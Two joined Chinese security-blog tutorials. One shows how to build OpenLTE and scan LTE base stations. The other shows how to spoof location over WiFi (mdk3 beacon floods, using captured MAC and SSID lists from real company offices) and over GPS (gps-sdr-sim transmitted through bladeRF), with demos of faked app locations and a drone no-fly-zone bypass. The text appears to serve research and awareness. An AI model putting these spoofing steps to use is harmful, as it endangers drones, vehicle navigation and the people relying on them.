GnuRadio 3.7

BladeRF

HackRF

1.1 BladeRF

1.1.1 驱动

mkdir bladeRF
wget -c https://github.com/Nuand/bladeRF/archive/master.zip
unzip master.zip
cd bladeRF-master
cd host
mkdir build
cd build
cmake -DCMAKE_BUILD_TYPE=Release -DCMAKE_INSTALL_PREFIX=/usr/local -DINSTALL_UDEV_RULES=ON ../
make -j4
make install > install.log
ldconfig

1.1.2 BladeRF 固件

wget -c http://www.nuand.com/fx3/bladeRF_fw_v1.8.0.img
bladeRF-cli -f bladeRF_fw_v1.8.0.img -v verbose

1.2 GNURadio

mkdir gnuradio
cd gnurdio
wget http://www.sbrac.org/files/build-gnuradio
chmod a+x build-gnuradio
./build-gnuradio –v
sudo apt-get install libpolarssl-dev 

0x02 另辟蹊径

以上步骤所需依赖包较多,想偷懒的童鞋可以使用GnuRadio发布的Ubuntu LiveCD,里边已经搭建好了gnuradio、HackRF、BladeRF、USRP、gqrx、rtl-sdr等一些列SDR所需的依赖环境。使用这种方式可以避免安装系统环境中遇到的绝大多数坑。
下载链接:http://gnuradio.org/redmine/projects/gnuradio/wiki/GNURadioLiveDVD

gnuradio.png

2.1 编译OpenLTE (文件列表

wget http://ufpr.dl.sourceforge.net/project/openlte/openlte_v00-19-04.tgz  //(目前最新版)
tar zxvf openlte_v00-19-04.tgz
cd openlte_v00-19-04/
mkdir build
cd build
sudo cmake ../
sudo make
sudo make install

2make.png

0x03 搜索附近基站

插入SDR设备,这里我使用了BladeRF(测试了一下HackRF也能使用,但由于HackRF采用USB 2.0传输数据,其效率会比BladeRF低很多,有条件的同学可以使用USRP):

3bladerf.png

osmocom_fft --samp-rate 80000000

2D0363E3-BA32-4D0F-958F-3D31E1FCDC79.png

Clipboard Image.png

OpenLTE编译完成之后会在build目录下生成可执行文件:

Clipboard Image.png

cd LTE_fdd_dl_scan
./LTE_fdd_dl_scan

新建一终端,通过Telnet进入OpenLTE工作终端交互界面:

telnet 127.0.0.1 20000

4telnet.png

Clipboard Image.png

telnet端执行start开始扫描:

Clipboard Image.png

LTE_fdd_dl_scan将扫描dl_earfcn_list列表中的FCN值:从25到575

ARFCN:绝对无线频道编号 (Absolute Radio Frequency Channel Number – ARFCN ),是在GSM无线系统中,用来鉴别特殊射频通道的编号方案,相信嗅探过GSM短信的童鞋对它一点不陌生。4G LTE中ARFCN被称作EARFCN。

3.1 搜索电信FDD LTE网络:(telnet端)

write band 1
help
start

Clipboard Image.png

Clipboard Image.png

3.2 搜索联通FDD LTE网络:(telnet端)

stop
write band 3
start

openlte.png

3.3 关闭搜索:(telnet端)

shutdown

3.4 移动、联通、电信TD-LTE频段与FDD-LTE部分频段:

bands

0x04 结语

文章第一部分主要分享如何搭建OpenLTE并扫描附近基站信号,在后续的内容中将根据OpenLTE官方WIKI分享OpenLTE其他功能的使用。如LTE_fdd_enodeb的发卡,添加用户功能:

Clipboard Image.png

0x05 参考&感谢

Mobile Security: Practical attacks using cheap equipment

Black Hat:LTE and IMSI catcher

①:https://www.blackhat.com/docs/eu-15/materials/eu-15-Borgaonkar-LTE-And-IMSI-Catcher-Myths-wp.pdf

②:https://www.blackhat.com/docs/eu-15/materials/eu-15-Borgaonkar-LTE-And-IMSI-Catcher-Myths.pdf

IMSI Catchers and Mobile Security

黄琳_HITB Paper:LTE REDIRECTION Forcing T argeted LTE Cellphone into Unsafe Network
OpenLTE:sourceforge.net

OpenLTE WIKI

OpenLTE开源代码结构解析(一)

OpenLTE开源代码结构解析(二)

基于开源SDR实现LTE系统对比

* 作者:雪碧0xroot@漏洞盒子安全实验室,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

http://www.freebuf.com/articles/wireless/108417.html

永不消逝的电波(四):从无线电角度揭秘定位劫持

GPS-LOGIC.png

0x00 前言

2015年的时候,360UnicornTeam 在Defcon黑客大会以及阿里移动安全 在BlackHat大会上均带来了GPS劫持的演讲,给大家揭开了GPS Hacking的神秘面纱在这篇文章中我们将通过无线的角度来看定位,以及学习如何进行定位的劫持和伪造。

我们生活中几种常见的定位方式:基于手机基站、基于GPS系统、基于WIFI;

0x01 基站定位

1.1 手机基站 & 蜂窝网络基站:

基站即公用移动通信基站是无线电台站的一种形式,是指在一定的无线电覆盖区中,通过移动通信交换中心,与移动电话终端之间进行信息传递的无线电收发信电台。

基站定位一般应用于手机用户,手机基站定位服务又叫做移动位置服务(LBS——Location Based Service),它是通过电信移动运营商的网络(如GSM网)获取移动终端用户的位置信息(经纬度坐标),在电子地图平台的支持下,为用户提供相应服务的一种增值业务,例如目前中国移动动感地带提供的动感位置查询服务等。

1.1  COO(Cell of Origin)定位:COO定位是一种单基站定位,即根据设备当前连接的蜂窝基站的位置来确定设备的位置。

1.2  AOA定位:AOA(Angle of Arrival到达角度)定位是一种两基站定位方法,基于信号的入射角度进行定位。

1.3  TOA/TDOA定位:TOA(Time of Arrival到达时间)、TDOA(Time Difference of Arrival到达时间差)都是基于电波传播时间的定位方法。也都是三基站定位方法,二者的定位都需要同时有三个位置已知的基站合作才能进行。

基站定位的大致原理为:移动电话测量不同基站的下行导频信号,得到不同基站下行导频的TOA(Time of Arrival,到达时刻)或TDOA(Time Difference of Arrival,到达时间差),根据该测量结果并结合基站的坐标,一般采用三角公式估计算法,就能够计算出移动电话的位置。实际的位置估计算法需要考虑多基站(3个或3个以上)定位的情况,因此算法要复杂很多。一般而言,移动台测量的基站数目越多,测量精度越高,定位性能改善越明显。

CGI:Cell Global Identity小区全球标识,是全球范围内无线网络小区的唯一标识,不同运营商的不同网络可以有不同的CGI编号规则。

eNodeBID:基站的编号,在LTE网内是唯一的,因此eNodeBID + 小区ID = Cell ID在LTE网内也是唯一的。

这样的Cell ID加上网络号(PLMN ID)就可以保证全球唯一,就是LTE小区的CGI。LTE的小区全球标识叫做ECGI eUTRAN Cell Blobal Identity。

GSM网络中的设备都可以以编程方式获取到当前基站的Cell ID。

其实也可以通过一些手机指令获取:

苹果手机: *3001#12345#*拨号
安卓手机: *#*#4636#*#*

我们可以查询到信号强度、小区信息:TAC、频点号、PCI、EnodeBID、小区码CGI。

通过获取ECGI数据后,通过“基站云平台”查询,(需要下载EXE桌面软件)输入几个参数,可以查询到基站的经纬度及地理位置信息:

基站定位的精度只能达到基站距离的级别,一般为500米左右,密集城区为120米左右。

1.2 基站定位运用

户户通直播星:户户通需要插入SIM来搜索手机基站以进行定位:

111.PNG222.png

企业对车辆的管理:出于GPS成本高以及地下室等无信号的原因,有些物流企业采用了手机GSM定位技术方案。这种方案的成本是GPS的1/3。但受移动基站网络资源的限制,在连续定位方面的成本较高。

0x02 WIFI定位

2.1WIFI定位原理

WIFI定位通过侦测附近周围所有WIFI的SSID、MAC地址来实现定位。

WiFi定位技术除具有良好的精度和可扩展性外,其独特优势在于WiFi芯片已经在各类用户智能终端(智能手机、平板电脑等)中得到广泛普及,并且随“无线城市”的发展,国内各大城市电信运营商、公司与家庭均已安装了大量的WiFi热点与网关,通过利用现有的这些WiFi设施,能够显著降低建设与长期运营成本,快速实现项目预定目标。这些都是开展WiFi技术为主的无缝定位技术研究和推动LBS应用的最佳基础条件与保证。

2.2 基于WIFI定位的伪造

Kali下已经自带aircrack和mdk3,我们可以配合免驱无线网卡(RTL8182b)来使用这些工具。

百度公司WIFI(baidu.txt) MAC地址 SSID信道信息如下:

ec:26:ca:38:25:8a metrust 
74:1e:93:63:74:b9 STB_IKPG 
4c:09:b4:2e:bc:e5 VIDEOPHONE_zwRu 
c8:3a:35:3f:2e:e0 www.wboll.com 
a8:15:4d:14:a3:88 DYJL 
c4:14:3c:f3:5c:4d Baidu_Mobile 
4c:09:b4:2e:83:f4 CU_mcSC 
5a:c7:16:fa:e2:94 STB_Wa7a 
c4:14:3c:fb:58:3c Baidu_Friend 
c4:14:3c:e4:a1:dc Baidu_Friend 
c4:14:3c:f3:5c:4f Baidu 
00:1f:a4:ed:e6:d0 CU_pngE 
00:1f:a4:ed:e6:d1 VIDEOPHONE_pngE 
00:1f:a4:ed:e6:d2 STB_pngE 
00:1f:a4:ed:e6:d3 BACKUP 
ec:17:2f:25:ca:4e bjjfsd-VIP 
6c:e8:73:fe:01:ee dhjc 
f4:ec:38:58:79:b2 ZJDZGC off  
ec:26:ca:b9:a5:d2 zkyc168 
14:e6:e4:7e:ad:56 lichunfeng 
14:75:90:0f:52:10 bjjfsd01 
c4:14:3c:fb:58:ac Baidu_Friend 
c4:14:3c:f3:5c:4e Baidu_WiFi 
42:0f:0e:20:9c:62 xz-test 
32:0f:0e:20:9c:62 XZ-gaoceng 
10:0f:0e:20:9c:62 XZ-office 
12:0f:0e:20:9c:62 XZ-caiwu 
c4:14:3c:fb:58:3f Baidu 
c4:14:3c:e4:a1:df Baidu 
c4:14:3c:fb:58:3d Baidu_Mobile 
c4:14:3c:e4:a1:de Baidu_WiFi 
c4:14:3c:e4:a1:dd Baidu_Mobile 
c4:14:3c:fb:58:3e Baidu_WiFi 
c4:14:3c:fb:58:ad Baidu_Mobile 
c4:14:3c:f3:5c:4c Baidu_Friend 
c4:14:3c:fb:58:af Baidu 
ec:26:ca:6c:09:17 TP_820_5G 
14:75:90:2a:b8:3a zjyd 
72:c7:16:fc:86:07 STB_E2B9 
72:c7:16:fc:86:06 VIDEOPHONE_E2B9 
72:c7:16:fc:86:04 BACKUP 
b8:c7:16:fc:86:05 CU_E2B9 
c0:a0:bb:49:c8:04 martin 
00:25:86:a7:b5:82 etsee 
80:89:17:b2:dc:d2 OT 
14:75:90:31:34:ee hzcs 
b8:62:1f:51:84:54 ciscosb1 
14:75:90:35:43:0b sdtp 
d4:ee:07:10:69:b4 wechat.wboll.com 
c8:3a:35:21:f2:b0 Tenda_21F2B0 
8e:be:be:2a:7f:f7 Xiaomi_Hello_PZS7 
8c:be:be:2a:7f:f5 YF.007 
bc:d1:77:2c:96:1a Acoustic 
14:75:90:2a:b8:3b zjyd 
78:a1:06:54:2a:1e 007

奇虎360公司 (360.txt)WIFI MAC SSID 信息:

00:24:23:d8:7f:6b MopperMonk-EyE 
64:09:80:60:5e:67 360wifi-zzl 
74:25:8a:85:79:b7 360-yingshi-wifi
74:25:8a:85:79:b4 360-activity 
74:25:8a:85:79:b1 360-guest 
74:25:8a:85:79:b0 360-Lobby AP

mdk3的使用语法:

mdk3 mon0 b
        -n         #自定义ESSID
        -f     #读取ESSID列表文件
        -v     #自定义ESSID和BSSID对应列表文件
        -d               #自定义为Ad-Hoc模式
        -w               #自定义为wep模式
        -g               # 54Mbit模式
        -t               # WPA TKIP encryption
        -a               # WPA AES encryption
        -m               #读取数据库的mac地址
        -c         #自定义信道
        -s          #发包速率

伪造AP

找个没有WIFI信号的地方(防止其他有效WIFI对伪造进行干扰),开启无线网卡的monitor模式:

sudo airmon-ng check kill
sudo airmon-ng start wlan0

开始伪造WIFI热点

sudo mdk3 wlan0-mon b -v baidu.txt  //伪造百度公司附近的WIFI环境 
sudo mdk3 wlan0-mon b -v 360.txt  //伪造360公司附近的WIFI环境

由于办公地点有大量WIFI热点,WIFI定位伪造便不在此演示,有兴趣的童鞋可以找个没有热点信号的地方自行测试 🙂

0x03 GPS卫星定位

3.1GPS系统概述

GPS最初是美国国防部为军方提供的一个星基定位、测速和时间系统。GPS系统使用地心坐标,提供基于1984年的世界大地坐标系(WGS-84)的航空器的位置。其导航数据,如到航路点的距离、方位和地速,是根据航空器当前位置(经度和纬度)和下一航路点的位置计算出来的。

美国国防部在1993年12月8日宣布GPS具有初始运行能力。美国联邦航空局(FAA)在1994年2月17日发布了航行通告(NOTAM),宣布GPS可用于某些民用IFR飞行。

3.2 GPS系统描述

GPS是星基无线电导航、定位和授时系统。该系统在全球范围内向具有合适装备的用户(不限数量)提供高精度的位置和速度信息以及精确的时间。

GPS提供两级服务:标准定位服务(SPS)及精密定位服务(PPS)。

SPS为所有用户提供95%概率的100米或以下的水平定位精度,和99.99%概率的300米精度。PPS比SPS更精确,但民用航空用户一般只能使用SPS。

GPS运行的概念是利用空间一组作为精确参考点的卫星进行测距和三角计算。GPS接收机利用无线电信号的传播时间测量到卫星的距离。每颗卫星发送一个特定的编码,被称作粗捕获(CA)码,它包括有关卫星位置、GPS系统时间和卫星传输数据的健康和准确性等信息。已知信号传输的速度大约300000公里/秒和确切的传播时间,则信号的传输距离能够根据到达的时间推算出来。

 

GPS接收机将每颗卫星的CA码与接收机中数据库内所包含的同样的编码进行匹配。通过在匹配过程中移动卫星的编码和移动与其内部时钟的比较,接收机能计算出信号从卫星到接收机的传播距离,从这种计算距离的方法得出的距离被称为伪距,因为它不是直接计算距离,而是通过时间来计算。伪距测量会包含几种误差,如,电离层、对流层延迟和多路径误差。

除了知道到卫星的距离外,接收机还需知道卫星在空间的确切位置,也就是“星历”。每个卫星发送其确切轨道位置的信息。GPS接收机利用该信息精确确定卫星的位置。

利用计算的伪距和卫星提供的位置信息,GPS接收机通过三角方法计算出它的位置。GPS接收机需要至少四颗卫星进行三维定位(经度、纬度和高度)和时间解算。GPS接收机通过利用航空器已知的经、纬度和接收机数据库内已有的数据进行比较来计算出导航数值,例如,到达一个航路点的距离和航向或者确定地速。

24颗卫星组成GPS星座的设计是为了地球上任何地方的用户在视界内都可以看到至少5颗卫星。接收机使用遮蔽角(在水平面之上能够使用卫星的最低角度)以上的最少4颗卫星的数据。

GPS接收机通过接收机自主完好性监视(RAIM)来核实GPS信号的完好性(可用性),以确定是否有卫星提供了错误的信息。除了导航所需的卫星外,在视界内必需有另外1颗卫星以使接收机执行RAIM功能;这样实施RAIM功能要求在视界内至少有5颗卫星,或者4颗卫星加上气压高度表(气压辅助)来检测完好性的异常。气压辅助是利用非卫星输入源增强GPS完好性的方法。为确保气压辅助可用,当前的高度表设定必须按照使用手册的要求输入到接收机中。

不同接收机的RAIM信息会有一些差异。一般来说有两种类型的指示。一种是指示没有足够数量的卫星提供RAIM,另一种是指示RAIM检测出超过当前飞行阶段限制的潜在误差。没有RAIM能力,飞行员就不能确定GPS定位的准确性。

一些卫星接收机能够隔离不良的卫星信号并在导航解算时剔除该信号,该过程称为“失效探测和排除(FDE)”。为隔离不良的卫星信号和继续提供有效的导航信号,FDE要求在视界内有6颗卫星或者在有气压辅助时有5颗卫星。

3.3 GPS频率

GPS工作频率有两个:1575.4Mhz(民用)和1227.6Mhz(军用),信号采用圆极化方式传输。

Image

3.4 GPS系统组成 & 通信流程

GPS包含三大组成部分:空间部分、地面控制部分以及机载用户部分。

Image

空间部分 (空中卫星群)是由24颗导航卫星组成。这些卫星距离地面约20000公里,分布在6个轨道平面上,每个平面上有4颗卫星。这样任何时候在视界内都有5颗卫星。GPS卫星发送伪随机码调制的时间信号,并经机载接收机处理后得到卫星的位置和状态数据。通过得到卫星的精确位置,并与卫星上的原子钟时间精确同步,机载接收机可以精确地测量出每颗卫星信号到达接收机的时间,从而确定航空器位置。

地面控制部分 (地面支持网)由监测站和控制站组成,用于保证卫星位置和时钟的精确性。地面控制系统由5个监测站,3个注入站和1个主控站组成。

机载用户部分(用户设备)包括天线和机载卫星接收处理器(带有数据库),为飞行员提供航空器位置、速度和精确的时间信息。

要进行水平导航(2维定位)在视界内至少要有3颗卫星。要进行水平和垂直导航(3维定位)则在视界内至少要有4颗卫星。

500-si_hiw_gps_fa_la2534dc_0.jpg

地面支持网:监控卫星并根据测算结果向卫星提供时间改正参数、卫星星历等资料。 

空中卫星群:卫星接收来自地面站的信息,并向用户发射以C/A码和P码调制的、带有时间信息和卫星星历等导航参数的1575.42MHz和1227.60MHz两种载波频率的信号。 

用户设备:接收卫星发射的时间信号和卫星轨道信息,求得卫星位置,利用时间信号和伪码相关测量卫星到测者的伪距,并由计算机解算用户位置、速度等参数。

0x04 GPS定位伪造&劫持

4.1 环境搭建

玩SDR有下面三款硬件平台:HackRF、BladeRF、USRP

SDR

HackRF是这三款平台中因其价格低(相对于其他两款),备受黑客所青睐。三款SDR平台的对比可看《三款最优秀平价SDR对比》这篇文章。三款对比表格如下:

Image

BTW由于HackRF采用USB2.0接口,传输大文件的时候容易造成数据传输瓶颈问题(接下来生成的GPS数据将占用五到六个G的空间),并且其在发射大于400MHz的无线信号时会出现精确度误差,刚开始我用它来做下面的实验的时候手机出现了只能接收到“卫星”信号,而获取不到经纬度、时间等信息。
所以接下来的实验我们要通过BladeRF来发射GPS的无线信号,在这之前我们需要让系统识别出BladeRF硬件:

git clone https://github.com/Nuand/bladeRF.git
cd bladeRF/host/
mkdir build
cd build
cmake -DINSTALL_UDEV_RULES=ON ../
make
sudo make install
ldconfig  //刷新系统动态库缓存

上面的构建过程会将 bladeRF 安装到 /usr/local 下,而其中的库文件目录 /usr/local/lib{,64} 不在 ldconfig 的默认搜索路径里。所以我们可以将它们添加到 /etc/ld.so.conf 里。

sudo vim /etc/ld.so.conf

添加之后文件内容如下:

/usr/local/lib
/usr/local/lib64
include ld.so.conf.d/*.conf

使用bladeRF-cli -p检测设备是否已经连接识别:

-p.png

cd /usr/share/
mkdir Nuand
cd Nuand
mkdir bladeRF
cd bladeRF
wget http://www.0xroot.cn/hostedx40.rbf  //下载FPGA镜像

BladeRF在购买之后,板子里边是有固件镜像(firmware)的,但是没有FPGA镜像,每次插入USB的时候都需要执行bladeRF-cli -l /usr/share/Nuand/bladeRF/hostedx40.rbf手动载入FPGA镜像

root@0xroot:~# bladeRF-cli -l /usr/share/Nuand/bladeRF/hostedx40.rbf 
Loading fpga...
Done.
root@0xroot:~# 

此时,另外三个LED被点亮:

IMG_20160217_215918.jpg

4.2 安装GPS-SDR-SIM

git clone https://github.com/osqzss/gps-sdr-sim.git
cd gps-sdr-sim
make

gps-sdr-sim项目的brdc3540.14n星历文件默认生成2014年12月20零点的时间,也就是北京时间2014您12月20日早上八点。如需生成其它年月的时间需要到NASA储存星历数据的FTP服务器下载,FTP地址为:

ftp://cddis.gsfc.nasa.gov/pub/gps/data/daily/

4.3 GPS数据生成

这里我们使用西藏的经纬度坐标生成一个包含星历、时间和GPS坐标的.bin数据,一个地区的经纬度可以在在先地图经纬度查询网站找到(http://www.gpsspg.com/maps.htm) 西藏坐标:

西藏坐标.png

谷歌地图:29.6471695826,91.1175026412 ,我们保留小数点后六位即可:29.647169,91.117502

./gps-sdr-sim -e brdc3540.14n -l 29.647169,91.117502,100 -b 16

信号伪造

bladeRF-cli -s bladerf.script

演示视频:

demo 1:社交软件定位

http://v.qq.com/iframe/player.html?vid=k0184icrd0j&tiny=0&auto=0

demo 2:无人机No-Fly-Zone Bypass

https://v.qq.com/iframe/player.html?vid=j0350qryem2&tiny=0&auto=0

 

4.4 GPS伪造利用场景:

伪造无人机禁飞区域的GPS信息,如美国白宫,欺骗无人机迫使其不能飞行或伪造无人机返航点的位置使其返航,

例子1:毒贩利用漏洞入侵无人机实现非法偷渡

文章当中有一段:

其中之一的模块就是保护无人机免遭GPS欺骗。GPS欺很骗是一个很实用的网络攻击手段,主要实现方式是向GPS接收装置发送虚假GPS数据。非军用的无人机GPS信号没有加密,每个无人机上面都有一个GPS接收装置,用于接收来自轨道卫星的数据同时沿边境航行,监视非法越境者。

而毒贩们很快就明白了这一点,并利用GPS欺骗技术向无人机发送错误坐标。使得无人机接收的数据来源看起来像是真实可靠的。最后无人机接收了错误的坐标,修正航向,并离开它的正常巡视区域,去巡视它认为正确的坐标位置,其实最后巡视的就是毒贩们发送的错误坐标,无人机接收到错误的坐标后,需要反复进行修正回到其正常的巡逻区域,这一过程导致无人机燃料耗尽而不得不返回基地。毒贩趁此机会安全越过边境,之后他们才会切断他们的干扰装置。在2012年美国德克萨斯大学安全研究人员就演示了如何通过GPS欺骗劫持无人机。

例子2:汽车导航

这里由于条件限制,没有汽车录制视频,便向杨卿同学要了他们在Defcon黑客大会上的比亚迪汽车导航欺骗视频:

http://v.qq.com/iframe/player.html?vid=h0184ws1fa4&tiny=0&auto=0

0x04 参考资料 & 感谢:

4.1 360UnicornTeam:杨卿&黄琳与Defcon的演讲:GPS-Spoofing

https://media.defcon.org/DEF%20CON%2023/DEF%20CON%2023%20presentations/DEFCON-23-Lin-Huang-Qing-Yang-GPS-Spoofing.pdf

https://www.youtube.com/watch?v=jwJKMti_aw0

4.2 Improving the GPS Data Processing Algorithm for PreciseStatic Relative Positioning
http://www.sage.unsw.edu.au/about/school_pubs/pdfrep/s69.pdf

4.3 GLOBAL POSITIONING SYSTEMSTANDARD POSITIONING SERVICESIGNAL SPECIFICATION
http://www.gps.gov/technical/ps/1995-SPS-signal-specification.pdf

4.4 阿里移动安全: Wang Kang & Shuhua Chen & Aimin Pan on BlackHat
https://www.blackhat.com/docs/eu-15/materials/eu-15-Kang-Is-Your-Timespace-Safe-Time-And-Position-Spoofing-Opensourcely-wp.pdf

https://www.blackhat.com/docs/eu-15/materials/eu-15-Kang-Is-Your-Timespace-Safe-Time-And-Position-Spoofing-Opensourcely.pdf

4.5 乌云Drops:lxj616
http://drops.wooyun.org/tips/10580

4.6 乌云Drops:Kevin2600

http://drops.wooyun.org/tips/11155

 

4.7 百度百科:全球定位系统(GPS)

http://wenku.baidu.com/view/fde4fefbc8d376eeaeaa31d2.html?re=view

感谢:360独角兽团队:杨卿-ir0nSmith@360UnicornTeam , 黄琳@360UnicornTeamMickey@360攻防实验室 , spaceshuttle@Apple

博客文章:

spriteking.com/archives/1513
http://www.freebuf.com/news/topnews/87353.html

*本文原创作者:雪碧@0xroot.cn,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)